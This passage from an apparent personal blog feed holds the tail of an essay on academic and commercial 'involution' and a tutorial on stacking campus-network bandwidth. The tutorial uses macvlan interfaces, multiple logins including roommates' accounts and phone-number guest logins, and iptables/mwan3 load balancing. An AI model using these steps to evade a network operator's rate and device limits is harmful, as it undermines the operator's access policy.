答案总得背过吧。光看课本和PPT那怎么行,吉米多维奇不得刷他个3遍以上,然后历年考试题也得整一下吧。到考试了,全他妈是吉米多维奇上的原题,这不得写他个两种甚至三种解法。(也是真事,这些人也真是,我可不想为了八十分与九十分的差距付出这个时间)</li></ol><p>所以,你说我参与过内卷吗?这样看来我是不是很正常吧。</p><h2 id=是什么造成了内卷><a href=#是什么造成了内卷 class="header-mark headerLink">是什么造成了内卷?</a></h2><p>内卷的产生不是偶然,内卷的环境+不合理的评判标准+竞争的人导致了内卷的必然发生,至少我是这样认为的。</p><p>所谓内卷的环境,那必然要是金字塔形状,底层占绝大多数,只有少数人可以上升,这样就会形成竞争的原因。甚至要严格限制上升的人数,这样才能使竞争更加激烈,才会孵化出各种竞争手段。</p><p>有了引起竞争的条件,形成的是竞争的行为,如果评判标准合理,最终的结果是通过健康的竞争选拔出真正有实力的人,这应该是一个正向的积极的过程。可惜,绝大多数情况这个评判标准并不合理,更有为了利益为了压榨故意采用恶心人的标准的,比如企业里面单纯通过工作时长来评判、比如老师单纯通过字数来评判等等。</p><p>这就是恶心人的地方,拥有决定权的人通过设立不合理的评判标准,故意引起底层内卷,从而满足自己的利益。而作为内卷的主要参与者———竞争的人,却是这三个条件中最可怜的那一部分,不仅需要付出大量努力、时间等参与到内卷中,还有很大几率无法在内卷中脱颖而出,从而白白浪费了自己的时间精力等;他们还需要承受内卷同仁的满满的恶意,竞争者之间往往就是这样,在内卷局中的人难以看清形势,难以把矛头对准真正掌握规则、真正引起内卷的上层管理者和标准制定者,他们只会在底层互相伤害。真是可悲啊。</p><h2 id=如何摆脱内卷><a href=#如何摆脱内卷 class="header-mark headerLink">如何摆脱内卷?</a></h2><p>这个问题我无法给出答案,因为我也不知道。毕竟就目前的形势而言,只要内卷的条件还存在,就总会有人参与其中。我个人认为要打破这个局,还是需要从上而下的反内卷,底层难以闹出风浪。</p><p>但就目前情况来看,貌似上面并不想真正反内卷。可能迫于底层舆论压力,他们会增加反内卷的宣传。可这有什么用,不打破内卷的条件,只要内卷的环境和不合理的评判标准还存在,内卷就不会减轻。他们可真是坏啊,他们想要从底层的内卷中获利。</p><p>也许,真正的社会主义社会是划破黑暗的那一束光,她会是吗?</p><h2 id=我是否曾从内卷中获利><a href=#我是否曾从内卷中获利 class="header-mark headerLink">我是否曾从内卷中获利?</a></h2><p>这个问题我必须回答“是”,甚至还有点小开心。因为我不是以内卷者的身份参与其中,不需要付出任何努力,通过他们的内卷和恶性竞争,我作为一个旁观者可以直接获利。</p><p>不说当年的各种打车软件之间恶性竞争、疯狂烧钱,打一次车只需要一分钱,那个时候我还上初中,哪懂什么内卷。</p><p>就看大学这两年,校外那条小吃街。起初只有一家羊肉汤店,算是这条街羊肉汤方面的绝对垄断,价高味不美,肉还不多。去年其隔壁新开了另一家羊肉汤店,一开始还只是两家的老板娘到店门口招呼人进各自的店,慢慢的两家开始让利,一家店搞抽奖送饮料送凉菜,另一家店直接进店即送葱油饼。</p><p>两家店卷起来了,我们这些看热闹的吃客可开心的很,免费的饼吃着,免费的饮料喝着,连碗里的羊肉也变多了。</p><p>你说内卷好不好?老板娘肯定烦得很,但我们这些从中获利的人怎么会放过她们。</p><h2 id=卷我可以请换种方式><a href=#卷我可以请换种方式 class="header-mark headerLink">卷我可以,请换种方式</a></h2><p>这个环境就是这样一个环境,大家都是底层,都想要更高的名次、更好的待遇、更多的钱,那就总有人要付出更多的努力和汗水。对于这些努力的人,我选择原谅他们上进的心,但我绝对不原谅他们卷我采用的手段和方式。我看不起你刷更多的题而没有把时间投入到自己真正感兴趣的领域,我看不起你拼凑更多的文字却没有包含自己丁点的思考,用这种方式来卷我简直就是在侮辱我,在侮辱每一个共同学习一起进步互相竞争的同伴。</p><p>如果你真想卷我,请换种方式。我希望你的内容包含更深刻的理解,或者在追寻更尖端的研究热点;我希望你的工作有更高的技术含量,或者给更多的人带来便利;我希望你的答案有更深入的思考,或者有你自己的东西在里面。请让被卷的我感受到来自竞争者的尊重,让我输的心服口服,让我能够去尊重你。</p><h2 id=最后可乐><a href=#最后可乐 class="header-mark headerLink">最后,可乐</a></h2><p>这个也是前段时间看到的,你说可口可乐和百事可乐也是在竞争,为啥可乐的价钱不下跌呢?</p><p>之前也没思考过这个问题,一开始也就想已经把价格压到一个比较低的价位了,再降价可能不太值?毕竟一些国产汽水的价格也不低。</p><p>现在想想肯定没有这么简单,已经是完善的大规模工业化生产流程了,生产瓶汽水平均成本很低,这个价应该还有不低的利润空间,那他们为何不通过降价来抢夺市场,为啥不像国内之前打车软件那样甚至不惜倒贴钱来竞争呢?</p><p>我怀疑是他们脑子正常,搞明白了内卷的损人不利己,清楚恶性竞争的危害……</p><p>最后祝大家都能够成功摆脱内卷,可以像交大cxs一样,可以不参与内卷但仍有机会凭借自己的实力得到自己满意的结果。</p>]]></description></item><item><title>垃圾校园网,我忍不了了</title><link>https://zu1k.com/posts/tutorials/campus-network-speed-overlay/</link><pubDate>Sun, 11 Apr 2021 17:11:00 +0800</pubDate><author>zu1k</author><guid>https://zu1k.com/posts/tutorials/campus-network-speed-overlay/</guid><description><![CDATA[
<p>记得大一刚入学时,免费的校园网是上下行对等的100Mbps带宽,虽然赶不上家里的速度,但是用起来还是比较舒服的</p><p>万万没想到,当别的学校都在忙着升级成千兆网络的时候,自己学校竟然来了个反向操作,30Mbps限速,真TMD鬼,不知道怎么想的</p><p>这垃圾校园网,我是忍不了了,考虑到每个人都能多个设备同时登录,肯定就有多拨的可能,那就搞起来!</p><h2 id=linux下手工操作><a href=#linux下手工操作 class="header-mark headerLink">Linux下手工操作</a></h2><p>本着学习的态度,上来肯定要先在Linux下手动操作一遍(其实我是先用iKuai验证可行后,才尝试用Linux手工配的</p><p>我们的基本思路是:</p><ol><li>拿到多个IP</li><li>过了学校的联网认证</li><li>进行负载均衡</li></ol><p>以下所有操作都需要root权限</p><h3 id=利用macvlan获取多个ip><a href=#利用macvlan获取多个ip class="header-mark headerLink">利用macvlan获取多个IP</a></h3><p>首先要创建多个虚拟网络接口,利用不同的Mac地址进行DHCP获取多个不同的IP地址</p><p>在Linux下,内核提供的macvlan就可以实现我们的需求,从Linux Kernel 3.9开始就支持了貌似,所以只要不是安装非常老的系统都是支持的</p><p>查看一下你的系统是否支持:</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span><span class=lnt>3
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-shell data-lang=shell><span class=line><span class=cl><span class=c1># modprobe macvlan</span>
</span></span><span class=line><span class=cl><span class=c1># lsmod | grep macvlan</span>
</span></span><span class=line><span class=cl>macvlan <span class=m>24576</span> <span class=m>0</span>
</span></span></code></pre></td></tr></table></div></div></div><p>如果显示类似上面的内容就表示支持</p><p>添加一个macvlan类型的网络接口:</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-shell data-lang=shell><span class=line><span class=cl>ip link add link <physical-network-interface-name> <new-network-interface-name> <span class=nb>type</span> macvlan
</span></span></code></pre></td></tr></table></div></div></div><p>例如,通过 <code>ip addr</code> 或者 <code>ifconfig</code> 查看到物理网卡名为 <code>eth0</code>,新网络接口名我们用 <code>vmac0</code> <code>vmac1</code> 这样的表示,命令如下:</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-shell data-lang=shell><span class=line><span class=cl>ip link add link eth0 vmac0 <span class=nb>type</span> macvlan
</span></span><span class=line><span class=cl>ip link add link eth0 vmac1 <span class=nb>type</span> macvlan
</span></span></code></pre></td></tr></table></div></div></div><p>这样就创建了两个新的网络接口,依附于物理接口 <code>eth0</code>,两个新网络接口的mac地址是自动分配的,每一次新建都会随机生成。</p><p>如果想要手动指定mac地址,可以使用下面的命令:</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span><span class=lnt>3
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-shell data-lang=shell><span class=line><span class=cl>ip link add link <physical-network-interface-name> <new-network-interface-name> address <mac-address> <span class=nb>type</span> macvlan
</span></span><span class=line><span class=cl>例如:
</span></span><span class=line><span class=cl>ip link add link eth0 vmac0 address 11:22:33:44:55:66 <span class=nb>type</span> macvlan
</span></span></code></pre></td></tr></table></div></div></div><div class="details admonition tip open"><div class="details-summary admonition-title"><i class="icon icon-lightbulb"></i>技巧<i class="details-icon icon-angle-circled-right"></i></div><div class=details-content><div class=admonition-content>更加详细的命令通过 <code>ip link help</code> 和 <code>man ip link</code> 查看</div></div></div><p>经过上面这一步,就就可以通过 <code>ip link</code> 看到多了两个网络接口</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span><span class=lnt>3
</span><span class=lnt>4
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-shell data-lang=shell><span class=line><span class=cl>4: vmac0@eth0: <BROADCAST,MULTICAST> mtu <span class=m>1500</span> qdisc noop state DOWN group default qlen <span class=m>1000</span>
</span></span><span class=line><span class=cl> link/ether 5a:5d:f9:1e:b8:19 brd ff:ff:ff:ff:ff:ff
</span></span><span class=line><span class=cl>5: vmac1@eth0: <BROADCAST,MULTICAST> mtu <span class=m>1500</span> qdisc noop state DOWN group default qlen <span class=m>1000</span>
</span></span><span class=line><span class=cl> link/ether 66:50:b5:23:d8:ce brd ff:ff:ff:ff:ff:ff
</span></span></code></pre></td></tr></table></div></div></div><p>然后需要获取到多个IP,直接执行 <code>dhclient</code> 即可</p><h3 id=进行联网认证><a href=#进行联网认证 class="header-mark headerLink">进行联网认证</a></h3><p>我们学校用的是深澜的认证系统,对其认证流程分析后,写了一个小工具:<a href=/posts/tutorials/campus-network-speed-overlay/sdu-srun.zip rel class=post-link>多账号登录认证工具</a></p><div class="details admonition info open"><div class="details-summary admonition-title"><i class="icon icon-info-circled"></i>信息<i class="details-icon icon-angle-circled-right"></i></div><div class=details-content><div class=admonition-content><p>2021年11月4日 更新</p><p>用Rust写了一个新的登录工具,更轻量更好用</p><p><a href=https://github.com/zu1k/sdusrun target=_blank rel="noopener noreffer" class=post-link>https://github.com/zu1k/sdusrun</a></p></div></div></div><p>在启动前先修改配置文件,username为学号,password为上网认证的密码,ip分别写刚刚 macvlan 获取到的IP</p><p>学校限制的每个人最多5台设备同时在线,新登录的设备会把前面的设备顶下去,所以最好联合舍友用多个人的账号进行认证</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt> 1
</span><span class=lnt> 2
</span><span class=lnt> 3
</span><span class=lnt> 4
</span><span class=lnt> 5
</span><span class=lnt> 6
</span><span class=lnt> 7
</span><span class=lnt> 8
</span><span class=lnt> 9
</span><span class=lnt>10
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-yaml data-lang=yaml><span class=line><span class=cl><span class=nt>login</span><span class=p>:</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span>- <span class=nt>username</span><span class=p>:</span><span class=w> </span><span class=l>201XXXXX1</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=nt>password</span><span class=p>:</span><span class=w> </span><span class=l>user1-password</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=nt>ip</span><span class=p>:</span><span class=w> </span><span class=m>10.0.0.1</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span>- <span class=nt>username</span><span class=p>:</span><span class=w> </span><span class=l>201XXXXX1</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=nt>password</span><span class=p>:</span><span class=w> </span><span class=l>user1-password</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=nt>ip</span><span class=p>:</span><span class=w> </span><span class=m>10.0.0.2</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span>- <span class=nt>username</span><span class=p>:</span><span class=w> </span><span class=l>201XXXXX2</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=nt>password</span><span class=p>:</span><span class=w> </span><span class=l>user2-password</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=nt>ip</span><span class=p>:</span><span class=w> </span><span class=m>10.0.0.3</span><span class=w>
</span></span></span></code></pre></td></tr></table></div></div></div><div class="details admonition note open"><div class="details-summary admonition-title"><i class="icon icon-pencil"></i>注意<i class="details-icon icon-angle-circled-right"></i></div><div class=details-content><div class=admonition-content>认证成功后即可进行下面的步骤,如果认证失败需要检查账号密码是否正确,本工具也不能保证后续系统更新后仍能使用,必要时可登录认证后台手工添加mac认证白名单</div></div></div><h3 id=进行路由级别的分流><a href=#进行路由级别的分流 class="header-mark headerLink">进行路由级别的分流</a></h3><p>经过上面的步骤,其实现在已经有多个可以上网的接口了,每一个接口都限速30Mbps,可以通过修改路由表验证,但是测速发现还是总速度还是30Mbps,速度并没有叠加</p><p>这其实是因为你的主机只有一个默认网关,流量实际上只走了一条线,所以还是受单接口限速的限制。我们的目的是让流量能够分别走多个接口,从而达到速度叠加的效果,也就是常说的负载均衡</p><p>思路是:通过iptables规则给数据包打上标记,然后通过策略路由根据标记来选择走哪个接口出去。需要注意不同包之间的关系,追踪连接状态并恢复标记,否则的话同一个连接的不同包走了不同的接口,会被丢弃掉。</p><h4 id=创建路由表><a href=#创建路由表 class="header-mark headerLink">创建路由表</a></h4><p>首先创建多个路由表,因为每一个路由表只能默认走一个接口,所以刚刚创建了多少虚拟网络接口,这里就要增加几个路由表,我按照2个接口来演示</p><p>编辑 <code>/etc/iproute2/rt_tables</code> 文件,在文件末尾增加两个路由表</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span><span class=lnt>3
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-shell data-lang=shell><span class=line><span class=cl><span class=c1># 新增的路由表</span>
</span></span><span class=line><span class=cl><span class=m>100</span> vmac0
</span></span><span class=line><span class=cl><span class=m>101</span> vmac1
</span></span></code></pre></td></tr></table></div></div></div><p>保证新路由表中没有条目,先清空一下</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-shell data-lang=shell><span class=line><span class=cl>ip route flush table vmac0
</span></span><span class=line><span class=cl>ip route flush table vmac1
</span></span></code></pre></td></tr></table></div></div></div><p>分别为两个路由表增加默认路由项,分别走不同的网络接口</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-shell data-lang=shell><span class=line><span class=cl>ip route add 0/0 dev vmac0 table vmac0
</span></span><span class=line><span class=cl>ip route add 0/0 dev vmac1 table vmac1
</span></span></code></pre></td></tr></table></div></div></div><h4 id=配置iptables><a href=#配置iptables class="header-mark headerLink">配置iptables</a></h4><p>分别创建多个新的链</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span><span class=lnt>3
</span><span class=lnt>4
</span><span class=lnt>5
</span><span class=lnt>6
</span><span class=lnt>7
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-shell data-lang=shell><span class=line><span class=cl>iptables -t mangle -N VMAC0
</span></span><span class=line><span class=cl>iptables -t mangle -A VMAC0 -j MARK --set-mark 0x100
</span></span><span class=line><span class=cl>iptables -t mangle -A VMAC0 -j CONNMARK --save-mark
</span></span><span class=line><span class=cl>
</span></span><span class=line><span class=cl>iptables -t mangle -N VMAC1
</span></span><span class=line><span class=cl>iptables -t mangle -A VMAC1 -j MARK --set-mark 0x101
</span></span><span class=line><span class=cl>iptables -t mangle -A VMAC1 -j CONNMARK --save-mark
</span></span></code></pre></td></tr></table></div></div></div><p>配置打标记的规则,每两个包(只看新建的连接)中第一个交给<code>VMAC0</code>处理,第二个交给<code>VMAC1</code>处理</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span><span class=lnt>3
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-shell data-lang=shell><span class=line><span class=cl>iptables -t mangle -A OUTPUT -o vmac+ -m state --state NEW -m statistic --mode nth --every <span class=m>2</span> --packet <span class=m>0</span> -j VMAC0
</span></span><span class=line><span class=cl>iptables -t mangle -A OUTPUT -o vmac+ -m state --state NEW -m statistic --mode nth --every <span class=m>2</span> --packet <span class=m>1</span> -j VMAC1
</span></span><span class=line><span class=cl>iptables -t mangle -A OUTPUT -o vmac+ -m state --state ESTABLISHED,RELATED -j CONNMARK --restore-mark
</span></span></code></pre></td></tr></table></div></div></div><h4 id=配置策略路由><a href=#配置策略路由 class="header-mark headerLink">配置策略路由</a></h4><p>下面需要配置策略路由,根据我们设置的策略,流量分别由多个路由表进行路由,所以就可以走多个网络接口了</p><p>我们让防火墙标记为<code>0x100</code>的用<code>vmac0</code>路由表,标记为<code>0x101</code>流量的用<code>vmac1</code>路由表</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-shell data-lang=shell><span class=line><span class=cl>ip rule add fwmark 0x100 table vmac0
</span></span><span class=line><span class=cl>ip rule add fwmark 0x101 table vmac1
</span></span></code></pre></td></tr></table></div></div></div><p>此时会出现一个问题,就是从外部发起的连接在进来后并没有打上防火墙标记,所以返回的包只能走默认的路由表。假如我们的默认路由表的默认路由是走<code>vmac0</code>,那来自<code>vmac1</code>的请求的响应包也会走<code>vmac0</code>出去,因为不属于同一个连接,这个包就会被丢掉。</p><p>我们的解决方法是再增加两条规则,来自哪个网卡的包的响应就从该网卡出</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-shell data-lang=shell><span class=line><span class=cl>ip rule add from <vmac0-ip> table vmac0
</span></span><span class=line><span class=cl>ip rule add from <vmac1-ip> table vmac1
</span></span></code></pre></td></tr></table></div></div></div><h4 id=用作路由器><a href=#用作路由器 class="header-mark headerLink">用作路由器</a></h4><p>如果这台Linux需要用作网关,需要配置PREROUTING链,这里假设内网网段为 <code>192.168/16</code></p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span><span class=lnt>3
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-shell data-lang=shell><span class=line><span class=cl>iptables -t mangle -A PREROUTING -s 192.168/16 ! -d 192.168/16 -m state --state NEW -m statistic --mode nth --every <span class=m>2</span> --packet <span class=m>0</span> -j VMAC0
</span></span><span class=line><span class=cl>iptables -t mangle -A PREROUTING -s 192.168/16 ! -d 192.168/16 -m state --state NEW -m statistic --mode nth --every <span class=m>2</span> --packet <span class=m>1</span> -j VMAC1
</span></span><span class=line><span class=cl>iptables -t mangle -A PREROUTING -s 192.168/16 ! -d 192.168/16 -m state --state ESTABLISHED,RELATED -j CONNMARK --restore-mark
</span></span></code></pre></td></tr></table></div></div></div><p>同时需要对内网流量进行SNAT</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-shell data-lang=shell><span class=line><span class=cl>iptables -t nat -A POSTROUTING -o vmac+ -j MASQUERADE
</span></span></code></pre></td></tr></table></div></div></div><p>经过上面的步骤,已经能够利用多个网络接口了。不过我们本质上是通过连接分流的,同一个连接的所有包会走同一个接口出去,所以如果你的程序是单线程网络,就看不到加速效果。可以通过speedtest多线程来进行测试,可以看到明显的网速叠加。</p><div class="details admonition note open"><div class="details-summary admonition-title"><i class="icon icon-pencil"></i>注意<i class="details-icon icon-angle-circled-right"></i></div><div class=details-content><div class=admonition-content><p>我刚刚的演示重启后虚拟网卡会丢失,因为自动分配的mac地址,重新运行命令会导致mac和ip变动,需要重新认证</p><p>可以使用指定mac地址的方法创建,也有持久化虚拟网卡的方法,可以一劳永逸</p><p>后面会将更加成熟的方法,这里手工配置不是重点,需要的自行学习研究吧!</p></div></div></div><h2 id=使用openwrtmwan3><a href=#使用openwrtmwan3 class="header-mark headerLink">使用OpenWrt+mwan3</a></h2><p>我比较推荐在宿舍里搞个软路由,普通的路由刷OpenWrt或者弄个树莓派刷OpenWrt都行,可以考虑买个二手矿渣 <code>newifi 3</code> 或者 <code>R2S</code></p><p>因为在OpenWrt里面有现成的插件,可以非常方便的创建多个虚拟网络接口,并能够利用图形界面配置更加强大的分流策略。</p><p>主要涉及到两个插件:kmod-macvlan和mwan3</p><h3 id=添加设备获取ip><a href=#添加设备获取ip class="header-mark headerLink">添加设备,获取IP</a></h3><p>首先在正确配置好网络的基础上,先创建网络设备,类型是macvlan,在学习了Linux下手工操作的基础上,这里的配置项都好理解</p><p><img src=/posts/tutorials/campus-network-speed-overlay/openwrt/network-device_hua4a41f9c73827df582ea964037e09721_41569_656x368_resize_q75_h2_box_3.webp alt=/posts/tutorials/campus-network-speed-overlay/openwrt/network-device_hua4a41f9c73827df582ea964037e09721_41569_656x368_resize_q75_h2_box_3.webp title=网络设备 height=368 width=656 loading=lazy></p><p>要几拨就添加几个设备,注意最好手工指定一下mac,基础设备选正常上网的wan口物理设备</p><p><img src=/posts/tutorials/campus-network-speed-overlay/openwrt/network-device-add_hu4a2aa46d6abc4695e42f682157e0b152_20526_561x321_resize_q75_h2_box_3.webp alt=/posts/tutorials/campus-network-speed-overlay/openwrt/network-device-add_hu4a2aa46d6abc4695e42f682157e0b152_20526_561x321_resize_q75_h2_box_3.webp title=添加网络设备 height=321 width=561 loading=lazy></p><p>然后添加相同数量的接口,协议选DHCP,接口设备选刚刚创建的,一一对应</p><p><img src=/posts/tutorials/campus-network-speed-overlay/openwrt/network-interface-add_hu621dfbbca86664cd67b870fcdae67db3_36472_567x366_resize_q75_h2_box_3.webp alt=/posts/tutorials/campus-network-speed-overlay/openwrt/network-interface-add_hu621dfbbca86664cd67b870fcdae67db3_36472_567x366_resize_q75_h2_box_3.webp title=添加网络接口 height=366 width=567 loading=lazy></p><p>接口添加好后,进行连接就会自动获取IP了,然后与上面手工方式一样,把所有IP都认证一下</p><h3 id=配置mwan3分流><a href=#配置mwan3分流 class="header-mark headerLink">配置mwan3分流</a></h3><p>在mwan的管理界面,首先添加接口,与网络里面刚刚配置的接口一一对应</p><p><img src=/posts/tutorials/campus-network-speed-overlay/openwrt/mwan-interface_hu4152b2e4189d37b51917b8dfa8415502_33920_797x426_resize_q75_h2_box_3.webp alt=/posts/tutorials/campus-network-speed-overlay/openwrt/mwan-interface_hu4152b2e4189d37b51917b8dfa8415502_33920_797x426_resize_q75_h2_box_3.webp title=添加接口 height=426 width=797 loading=lazy></p><div class="details admonition note open"><div class="details-summary admonition-title"><i class="icon icon-pencil"></i>注意<i class="details-icon icon-angle-circled-right"></i></div><div class=details-content><div class=admonition-content>这里涉及到接口可用性的检测,需要仔细设置一下,后面的分流需要依赖这个可用性检测,总不能把流量分给不可用的接口吧</div></div></div><p>然后添加成员,与刚刚添加的接口一一对应,这里添加的可以在后面策略那里选择</p><p><img src=/posts/tutorials/campus-network-speed-overlay/openwrt/mwan-member_hu128229219abfac83ba956b2bc1ee0e26_32285_730x372_resize_q75_h2_box_3.webp alt=/posts/tutorials/campus-network-speed-overlay/openwrt/mwan-member_hu128229219abfac83ba956b2bc1ee0e26_32285_730x372_resize_q75_h2_box_3.webp title=添加成员 height=372 width=730 loading=lazy></p><p>添加策略,图中第一条是负载均衡策略,刚刚添加的成员全都选中,意思就是说同时使用这所有的网络</p><p>后面几条策略分别是用来测试想用网络设备的</p><p><img src=/posts/tutorials/campus-network-speed-overlay/openwrt/mwan-policy_huf0057ef3cab073b3a770a321c785247d_54579_766x533_resize_q75_h2_box_3.webp alt=/posts/tutorials/campus-network-speed-overlay/openwrt/mwan-policy_huf0057ef3cab073b3a770a321c785247d_54579_766x533_resize_q75_h2_box_3.webp title=添加策略 height=533 width=766 loading=lazy></p><p>最后添加分流规则,最简单的如图所示,目的地址不限,端口不限,协议不限,都走负载均衡策略,也就是从所有网口出</p><p><img src=/posts/tutorials/campus-network-speed-overlay/openwrt/mwan-rule_hua52f95ea462474b0cf9ac8cb58272a1d_39444_666x444_resize_q75_h2_box_3.webp alt=/posts/tutorials/campus-network-speed-overlay/openwrt/mwan-rule_hua52f95ea462474b0cf9ac8cb58272a1d_39444_666x444_resize_q75_h2_box_3.webp title=添加规则 height=444 width=666 loading=lazy></p><p><img src=/posts/tutorials/campus-network-speed-overlay/openwrt/mwan-rule-config_hu5f3f57b70c1748ba92fc557370ed1263_30177_626x380_resize_q75_h2_box_3.webp alt=/posts/tutorials/campus-network-speed-overlay/openwrt/mwan-rule-config_hu5f3f57b70c1748ba92fc557370ed1263_30177_626x380_resize_q75_h2_box_3.webp title=规则配置 height=380 width=626 loading=lazy></p><p>在状态面板可以看到,多拨成功</p><p><img src=/posts/tutorials/campus-network-speed-overlay/openwrt/status_hu8611a9ab490101676948cbbd5cc19e0d_17650_793x220_resize_q75_h2_box_3.webp alt=/posts/tutorials/campus-network-speed-overlay/openwrt/status_hu8611a9ab490101676948cbbd5cc19e0d_17650_793x220_resize_q75_h2_box_3.webp title=多拨成功 height=220 width=793 loading=lazy></p><div class="details admonition tip open"><div class="details-summary admonition-title"><i class="icon icon-lightbulb"></i>技巧<i class="details-icon icon-angle-circled-right"></i></div><div class=details-content><div class=admonition-content>mwan3代码在:<a href=https://github.com/openwrt/packages/tree/master/net/mwan3 target=_blank rel="noopener noreffer" class=post-link>https://github.com/openwrt/packages/tree/master/net/mwan3</a></div></div></div><h2 id=爱快分流很强大><a href=#爱快分流很强大 class="header-mark headerLink">爱快,分流很强大</a></h2><p>正好我在的实验室里有老旧的台式机,又有多个网卡,我就安装了以分流著称的iKuai系统</p><p>爱快路由系统对性能要求很高,64位甚至要求4G运存才能安装,不太建议宿舍用,不过实话实话这个是真的爽</p><p>首先在网路设置中,选择正确的物理网卡,接入方式选<code>基于物理网卡的混合模式</code>,在DHCP模式下添加多个虚拟网络接口,mac地址自己指定</p><p><img src=/posts/tutorials/campus-network-speed-overlay/ikuai/add-wan-if_hu684daeba6b87130d2284bdfe353c3f23_139130_719x426_resize_q75_h2_box_3.webp alt=/posts/tutorials/campus-network-speed-overlay/ikuai/add-wan-if_hu684daeba6b87130d2284bdfe353c3f23_139130_719x426_resize_q75_h2_box_3.webp title=添加网络接口 height=426 width=719 loading=lazy></p><p>关开网络接口,让其DHCP获取到IP地址,然后按照之前说的方法进行网络认证</p><p>然后进入分流设置,配置多线负载</p><p><img src=/posts/tutorials/campus-network-speed-overlay/ikuai/load-balance_huee21e4efc6f414d5c51608629c69f835_46739_599x128_resize_q75_h2_box_3.webp alt=/posts/tutorials/campus-network-speed-overlay/ikuai/load-balance_huee21e4efc6f414d5c51608629c69f835_46739_599x128_resize_q75_h2_box_3.webp title=负载均衡 height=128 width=599 loading=lazy></p><p>添加的时候有多种负载模式可供选择,可以添加多个负载规则。注意要把前面创建的网络接口全部开启</p><p><img src=/posts/tutorials/campus-network-speed-overlay/ikuai/add-load-balance_hu0871626870399a0d506d030ec9889f3e_19308_664x344_resize_q75_h2_box_3.webp alt=/posts/tutorials/campus-network-speed-overlay/ikuai/add-load-balance_hu0871626870399a0d506d030ec9889f3e_19308_664x344_resize_q75_h2_box_3.webp title=负载均衡 height=344 width=664 loading=lazy></p><p>对!就是这么简单,iKuai就是牛,已经把网速叠加成功了</p><h2 id=新发现><a href=#新发现 class="header-mark headerLink">新发现</a></h2><p>在与同学的交流中,发现校园网还可以用任意手机号验证码登录,登陆后的权限是访客,不过与学生权限一样,如此看来可以利用多个手机号突破5台设备的限制了</p><p>注意,登录成功后一定要修改密码,否则第二次登录的时候会提示创建新账号失败,是后台的BUG,日</p><p>最后,向大家推荐一个讲iptables的视频,可以在Youtube或者Bilibili搜索<code>坏人的iptables小讲堂</code>,讲的真的很不错</p>]]></description></item><item><title>反对直接学习经过提炼的知识</title><link>https://zu1k.com/posts/thinking/knowledge-refining/</link><pubDate>Mon, 05 Apr 2021 19:12:00 +0800</pubDate><author>zu1k</author><guid>https://zu1k.com/posts/thinking/knowledge-refining/</guid><description><![CDATA[
